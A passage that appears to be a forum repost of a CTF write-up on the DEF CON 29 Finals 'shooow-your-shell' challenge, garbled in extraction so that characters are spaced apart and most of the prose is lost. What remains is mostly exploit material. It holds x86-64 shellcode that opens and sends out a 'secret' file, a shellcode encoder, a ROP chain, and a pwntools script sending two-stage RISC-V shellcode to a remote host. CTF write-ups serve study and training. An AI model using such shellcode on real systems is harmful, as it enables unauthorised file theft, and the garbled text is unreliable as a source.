[27606] 2021-08-18_DC29FINALshooow-your-shell总结

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-19
2021-08-18_DC29FINALshooow-your-shell总结 D E F C O N   2 9   F I N A L   s h o o o w - y o u r - s h e l l   4 0 4   S e e b u g   2 0 2 1 - 0 8 - 1 8   # P a p e r   , 8 9 H c a m a e l @ 4 0 4 2 0 2 1 8 1 0 N u 1 L D E F C O N K O H s h o o w - y o u r - s h e l l K O H 使 9 0 0 s 1 0 6 3 2 1 便 o o o p u s h G i t h u b [ 1 ] 9 0 9 0 w r a p p e r s e r v e r . p y 1 .   k i n g 退 k i n g s h e l l c o d e 2 .   s h e l l c o d e 3 .   0 x 9 0 k i n g 使 s h e l l c o d e 4 .   5 .   k i n g 使 使 b u g s h e l l c o d e k i n g s h e l l c o d e k i n g 使 k i n g 使 k i n g 6 .   r u n n e r q e m u s h u f f l p   =   s u b p r o c e s s . P o p e n ( [ o s . p a t h . j o i n ( t m p d i r ,   o s . p a t h . b a s e n a m e ( S H U F F L _ P A T H ) ) ,   " 5 " , f " . / q e m u - { a r c h } - s t a t i c " ,   f " . / r u n n e r - { a r c h } " ] ,   c w d = t m p d i r ,   s t d i n = s u b p r o c e s s . P I P E ,   s t d o u t = s u b p r o c e s s . P I P E ,   s t d e r r = 1 ) 7 .   s h e l l c o d e k i n g 8 .   k i n g h i s t o r y s h e l l c o d e s h e l l c o d e s h o o o w - y o u r - s h e l l s h e l l c o d e k i n g D o c k e r f i l e s e r v e r . p y s h u f f l
p y t h o n 5 s h e l l c o d e 5 使 c h r o o t 使 s e t u i d q e m u s h e l l c o d e q e m u r u n n e r l i b c s h e l l c o d e 1 s h e l l c o d e k i n g k i n g 使 k i n g 使 s h e l l c o d e p a d d i n g s h e l l c o d e k i n g 使 s h e l l c o d e k i n g s h e l l c o d e 3 0 s 线 A h i s t o r y 线 B k i n g s h e l l c o d e 线 A 线 A k i n g h i s t o r y 1 6 s h e l l c o d e k i n g 1 6 1 6 h i s t o r y 访 3 0 k i n g k i n g s h e l l c o d e s h e l l c o d e s h e l l c o d e 1   s h e l l c o d e s h e l l c o d e m o v   r a x , 0 x 7 4 6 5 7 2 6 3 6 5 7 3 p u s h   r a x p u s h   r s p p o p   r d i p u s h   2 p o p   r a x s y s c a l l p u s h   4 0 p o p   r a x p u s h   1 p o p   r d i p u s h   3 r u n n e r s y s t e m w r a p p e r s e r v i c e . p y h i s t o r y h i s t o r y h i s t o r y
p o p   r s i x o r   r d x , r d x s y s c a l l s h e l l c o d e 2   1 0 s h e l l c o d e 1 0 s h e l l c o d e d e f   e n c o d e ( i n n e r _ s ) :       s   =   ' ' '     m o v   a l ,   1     ' ' '               #   m o v   a h ,   8       #   a d d   r d x ,   r a x   #   m o v   a l ,   1 ;   a d d   r d x ,   0 x 8 0 0       #   i n n e r _ s   = ' H x b 8 x 0 1 x 0 1 x 0 1 x 0 1 x 0 1 x 0 1 x 0 1 x 0 1 P H x b 8 . g m ` f x 0 1 x 0 1 x 0 1 H 1 x 0 4 $ j x 0 2 X H x 8 9 x e 7 1 x f 6 x 9 9 x 0 f x 0 5 A x b a x f f x f f x f f x 7 f H x 8 9 x c 6 j ( X j x 0 1 _ x 9 9 x 0 f x 0 5 '             f o r   i ,   c   i n   e n u m e r a t e ( b i t s ( b i t s w a p ( ' x d 0 x 9 0 '   +   i n n e r _ s ) ) ) :               i f   i   ! =   0   a n d   i   %   8   = =   0 :                       s   + =   ' i n c   r d x '               i f   c :                       s   + =   ' ' '                     a d d   b y t e   p t r   [ r d x + 0 x f c 0 ] ,   a l                     r o l   a l ,   1                     ' ' '               e l s e :                       s   + =   ' ' '                     r o l   a l ,   1                     ' ' '       p a y l o a d   =   a s m ( s ) . l j u s t ( 0 x f c 0 ,   ' x D 0 ' )       #   p a y l o a d   =   p a y l o a d . l j u s t ( 0 x 1 0 0 0 ,   ' x 0 0 ' )       r e t u r n   p a y l o a d s h e l l c o d e s h e l l c o d e s h e l l c o d e 3   3 s h e l l c o d e 9 使 3 s h e l l c o d e r u n n e r s h e l l c o d e r d x s h e l l c o d e
T D s h e l l c o d e 使 0 :       1 5   1 5   1 5   1 5   5 0                     a d c         e a x ,   0 x 5 0 1 5 1 5 1 5     5 :       1 5   5 0   5 0   1 5   5 0                     a d c         e a x ,   0 x 5 0 1 5 5 0 5 0     a :       1 5   5 0   5 0   1 5   5 0                     a d c         e a x ,   0 x 5 0 1 5 5 0 5 0     f :       1 5   5 0   5 0   1 5   5 0                     a d c         e a x ,   0 x 5 0 1 5 5 0 5 0   1 4 :       1 5   5 0   5 0   1 5   5 0                     a d c         e a x ,   0 x 5 0 1 5 5 0 5 0   1 9 :       1 5   5 0   5 0   1 5   5 0                     a d c         e a x ,   0 x 5 0 1 5 5 0 5 0   1 e :       1 5   5 0   5 0   1 5   c 2                     a d c         e a x ,   0 x c 2 1 5 5 0 5 0   2 3 :       1 5   5 0   5 0   1 5   c 2                     a d c         e a x ,   0 x c 2 1 5 5 0 5 0   2 8 :       1 5   5 0   5 0   c 2   c 2                     a d c         e a x ,   0 x c 2 c 2 5 0 5 0   2 d :       1 5   5 0   5 0   c 2   c 2                     a d c         e a x ,   0 x c 2 c 2 5 0 5 0   3 2 :       1 5   5 0   5 0   c 2   c 2                     a d c         e a x ,   0 x c 2 c 2 5 0 5 0   3 7 :       1 5   5 0   c 2   c 2   c 2                     a d c         e a x ,   0 x c 2 c 2 c 2 5 0   3 c :       1 5   5 0   c 2   c 2   c 2                     a d c         e a x ,   0 x c 2 c 2 c 2 5 0   4 1 :       1 5   5 0   c 2   c 2   c 2                     a d c         e a x ,   0 x c 2 c 2 c 2 5 0   4 6 :       1 5   5 0   c 2   c 2   c 2                     a d c         e a x ,   0 x c 2 c 2 c 2 5 0   4 b :       1 5   5 0   c 2   c 2   c 2                     a d c         e a x ,   0 x c 2 c 2 c 2 5 0   5 0 :       1 5   5 0   c 2   c 2   c 2                     a d c         e a x ,   0 x c 2 c 2 c 2 5 0   5 5 :       1 5   5 0   c 2   c 2   c 2                     a d c         e a x ,   0 x c 2 c 2 c 2 5 0   5 a :       5 0                                             p u s h       e a x 1 5   5 0   c 2
. . . . . .   6 1 d :       1 5   c 2   5 0   5 0   c 2                     a d c         e a x ,   0 x c 2 5 0 5 0 c 2   6 2 2 :       5 0                                             p u s h       e a x   6 2 3 :       c 2                                             r e t R O P 0 x 4 9 0 9 7 2 ;   m o v   r s i ,   [ r b x ] ;   c a l l       r a x 0 x 4 c 2 8 0 6 0 x 4 4 6 f 3 a ;   p o p   r b x ;   r e t 0 x 4 7 a 8 5 0 ;   _ d l _ d p r i n t f 0 x 4 7 e 5 0 a ;   p o p   e a x ;   r e t 0 x 1 0 x 4 1 3 a e b ;   p o p   e d i ;   r e t 0 x 4 1 9 1 c 8 ;   m o v   [ r d x ] ,   r a x ;   r e t 0 x 4 c 2 8 0 6 0 x 4 0 1 7 1 f ;   p o p   r d x ;   r e t 0 x 4 7 a 6 5 0 ;   d l _ s y s d e p _ r e a d _ w h o l e _ f i l e 0 x 4 3 3 a e 4 ;   m o v   [ r d i ] ,   r d x ;   r e t 0 x 4 c 2 8 0 6 ; 0 x 4 0 f f b 0 ;   p o p   e d i ;   r e t 0 x 7 2 6 3 6 5 7 3 ;   s e c r 0 x 4 0 1 7 1 F ;   p o p   r d x ;   r e t 0 x 4 3 6 6 1 3 ;   m o v   [ r d i ] ,   r d x ;   r e t 0 x 4 c 2 8 0 a 0 x 4 1 5 f 5 6 ;   p o p   e d i ;   r e t 0 x 7 4 6 5     ;   e t x 0 0 0 x 4 0 1 7 1 F ;   p o p   r d x ;   r e t r e t s h e l l c o d e 8 1 v a l   =   [ " 1 5 " ,   " 5 0 " ,   " c 2 " ] o i   =   i t e r t o o l s . p r o d u c t ( v a l ,   r e p e a t = 4 ) a d c / p u s h / r e t s h e l l c o d e r e t c 2 0 0 0 0 0 0 0 0 a d c   e a x 1 5 p u s h   e a x 5 0
R O P 使 8 1 s h e l l c o d e 使 z 3 s h e l l c o d e s h e l l c o d e r e t c 3 c 2 c 3 c b ( r e t f ) c a 0 0 0 0 ( r e t f   0 x 0 ) a d c a d d e a x e b x
4   3 s h e l l c o d e T D K a t z e b i n s h e l l c o d e 3 3 s h e l l c o d e s h e l l c o d e 怀 使 0 d a y h i s t o r y s h e l l c o d e s h e l l c o d e p   =   s u b p r o c e s s . P o p e n ( [ o s . p a t h . j o i n ( t m p d i r ,   o s . p a t h . b a s e n a m e ( S H U F F L _ P A T H ) ) ,   " 5 " , f " . / q e m u - { a r c h } - s t a t i c " ,   f " . / r u n n e r - { a r c h } " r i s c v 6 4 r e a d ( 2 ,   b u f ,   l e n g t h )
] ,   c w d = t m p d i r ,   s t d i n = s u b p r o c e s s . P I P E ,   s t d o u t = s u b p r o c e s s . P I P E ,   s t d e r r = 1 ) ( 2 ) ( 1 ) p y t h o n s o c k e t s h e l l c o d e s o c k e t s h e l l c o d e p r i n t ( d i s a s m ( u n h e x ( " 6 9 8 9 7 3 0 0 0 0 0 0 0 0 " ) ,   a r c h = " r i s c v " ,   b i t s = 6 4 ) )     0 :       8 9 6 9                                       a n d i       a 0 ,   a 0 ,   2 6     2 :       0 0 0 0 0 0 7 3                               e c a l l           0 x 1 0 5 c e   < m a i n + 4 1 4 >               j a l       r a ,   0 x 1 0 c a c   < _ _ a s s e r t _ f a i l >           0 x 1 0 5 d 2   < m a i n + 4 1 8 >               l u i       a 2 ,   0 x 1           0 x 1 0 5 d 4   < m a i n + 4 2 0 >               l d           a 1 ,   - 1 0 5 6 ( s 0 )       0 x 1 0 5 d a   < m a i n + 4 2 6 >               j a l       r a ,   0 x 2 0 9 4 e   < r e a d >           0 x 1 0 5 d e   < m a i n + 4 3 0 >               l d           a 5 ,   - 1 0 5 6 ( s 0 )           0 x 1 0 5 e 2   < m a i n + 4 3 4 >               j a l r       a 5           0 x 1 0 5 e 4   < m a i n + 4 3 6 >               l i           a 5 ,   0           0 x 1 0 5 e 6   < m a i n + 4 3 8 >               m v           a 3 ,   a 5           0 x 1 0 5 e 8   < m a i n + 4 4 0 >               a u i p c   a 5 ,   0 x 6 0 r e a d s h e l l c o d e $ z e r o :   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0     0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 $ r a   :   0 x 0 0 0 0 0 0 0 0 0 0 0 1 0 5 d e     0 x 4 7 8 1 9 7 8 2 b e 0 4 3 7 8 3     0 x 4 7 8 1 9 7 8 2 b e 0 4 3 7 8 3 $ s p   :   0 x 0 0 0 0 0 0 4 0 0 0 7 f f b b 0     0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0     0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 $ g p   :   0 x 0 0 0 0 0 0 0 0 0 0 0 7 1 0 3 0     0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0     0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 $ t p   :   0 x 0 0 0 0 0 0 0 0 0 0 0 7 2 7 1 0     0 x 0 0 0 0 0 0 0 0 0 0 0 7 0 6 7 8     0 x 0 0 0 0 0 0 0 0 0 0 0 5 1 a 6 8     0 x 0 0 0 0 0 0 0 0 0 0 0 7 0 9 b 0     0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 4 3     0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 4 3 $ t 0   :   0 x 0 0 0 0 0 0 0 0 0 0 0 7 2 0 0 0     0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0     0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 $ t 1   :   0 x 2 f 2 f 2 f 2 f 2 f 2 f 2 f 2 f     0 x 2 f 2 f 2 f 2 f 2 f 2 f 2 f 2 f $ t 2   :   0 x 0 0 0 0 0 0 0 0 0 0 0 7 2 0 0 0     0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0     0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 $ f p   :   0 x 0 0 0 0 0 0 4 0 0 0 7 f f f f 0     0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0     0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 $ s 1   :   0 x 0 0 0 0 0 0 0 0 0 0 0 1 0 b 6 a     0 x 0 0 0 6 f 7 b 7 e 8 2 2 1 1 0 1     0 x 0 0 0 6 f 7 b 7 e 8 2 2 1 1 0 1 $ a 0   :   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 4     0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 4 $ a 1   :   0 x 0 0 0 0 0 0 4 0 0 0 8 0 1 0 0 0     0 x 0 0 0 0 0 0 0 0 0 a 3 3 3 2 3 1     0 x 0 0 0 0 0 0 0 0 0 a 3 3 3 2 3 1 $ a 2   :   0 x 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0     0 x 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 $ a 3   :   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2 2     0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2 2 $ a 4   :   0 x 0 0 0 0 0 0 4 0 0 0 8 0 1 0 0 0     0 x 0 0 0 0 0 0 0 0 0 a 3 3 3 2 3 1     0 x 0 0 0 0 0 0 0 0 0 a 3 3 3 2 3 1 $ a 5   :   0 x 0 0 0 0 0 0 4 0 0 0 8 0 1 0 0 0     0 x 0 0 0 0 0 0 0 0 0 a 3 3 3 2 3 1     0 x 0 0 0 0 0 0 0 0 0 a 3 3 3 2 3 1 $ a 6   :   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0     0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 $ a 7   :   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 3 f     0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 3 f $ s 2   :   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0     0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 $ s 3   :   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0     0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 $ s 4   :   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0     0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 $ s 5   :   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0     0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 $ s 6   :   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0     0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 r u n n e r - r i s c v 6 4 j a l r   a 5
$ s 7   :   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0     0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 $ s 8   :   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0     0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 $ s 9   :   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0     0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 $ s 1 0   :   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0     0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 $ s 1 1   :   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0     0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 $ t 3   :   0 x f f f f f f f f f f f f f f f f $ t 4   :   0 x 0 0 0 0 0 0 0 0 0 0 0 6 e a d 0     0 x 0 0 0 0 0 0 0 0 0 0 0 7 0 6 7 8     0 x 0 0 0 0 0 0 0 0 0 0 0 5 1 a 6 8     0 x 0 0 0 0 0 0 0 0 0 0 0 7 0 9 b 0     0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 4 3     0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 4 3 $ t 5   :   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0     0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 $ t 6   :   0 x 0 0 0 0 0 0 0 0 0 0 0 7 2 0 0 0     0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0     0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 s h e l l c o d e 0 x 3 7 3 s h e l l c o d e 3 s h e l l c o d e 3 s h e l l c o d e 2 s h e l l c o d e 2 s h e l l c o d e 使 2 s h e l l c o d e # ! / u s r / b i n / e n v   p y t h o n 3 #   - * -   c o d i n g = u t f - 8   - * - $ a 0   =   4 r e a d $ a 0 $ a 5 $ a 2   =   0 x 1 0 0 0 $ a 7 r i s c v 6 4 $ a 7   =   0 x 3 7 e c a l l r e a d $ a   &   0 x 1 a 3   &   0 x 1 a   =   2 e c a l l r e a d ( 2 ,   0 x 0 0 0 0 0 0 4 0 0 0 8 0 1 0 0 0 ,   0 x 1 0 0 0 ) $ a 0 = 2 $ a 0 7 3 0 0
f r o m   p w n   i m p o r t   * i m p o r t   t i m e c o n t e x t . l o g _ l e v e l   =   " d e b u g " p   =   r e m o t e ( " 1 0 . 1 1 . 3 4 . 9 6 " ,   9 0 9 0 ) #   p   =   r e m o t e ( " 1 9 2 . 1 6 8 . 1 1 . 4 " ,   9 0 9 0 ) s h e l l c o d e 1   =   b " 7 3 0 0 " #   s h e l l c o d e 1   =   b " 0 0 0 0 0 0 c a 0 0 0 8 0 0 9 1 2 1 0 0 0 0 d 4 "   #   a a r c h 6 4 s h e l l c o d e 2   =   " " " l i           s 1 ,   0 x 7 4 6 5 7 2 6 3 6 5 7 3 s d           s 1 ,   0 ( s p ) m v           a 1 ,   s p           l i           a 7 ,   5 6 l i           a 0 ,   - 1 0 0 e c a l l l i           a 7 ,   7 1 m v           a 1 ,   a 0 l i           a 0 ,   1 l i           a 2 ,   0 l i           a 3 ,   1 0 0 e c a l l " " " s h e l l c o d e 2   =   a s m ( s h e l l c o d e 2 ,   a r c h = " r i s c v " ,   b i t s = 6 4 ) s h e l l c o d e 2   =   b " s x 0 0 x 0 0 x 0 0 "   +   s h e l l c o d e 2 p . r e a d u n t i l ( b " s h e l l c o d e : " ) p . s e n d l i n e ( s h e l l c o d e 1 ) p a u s e ( ) p . s e n d ( s h e l l c o d e 2 ) p . i n t e r a c t i v e ( )
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则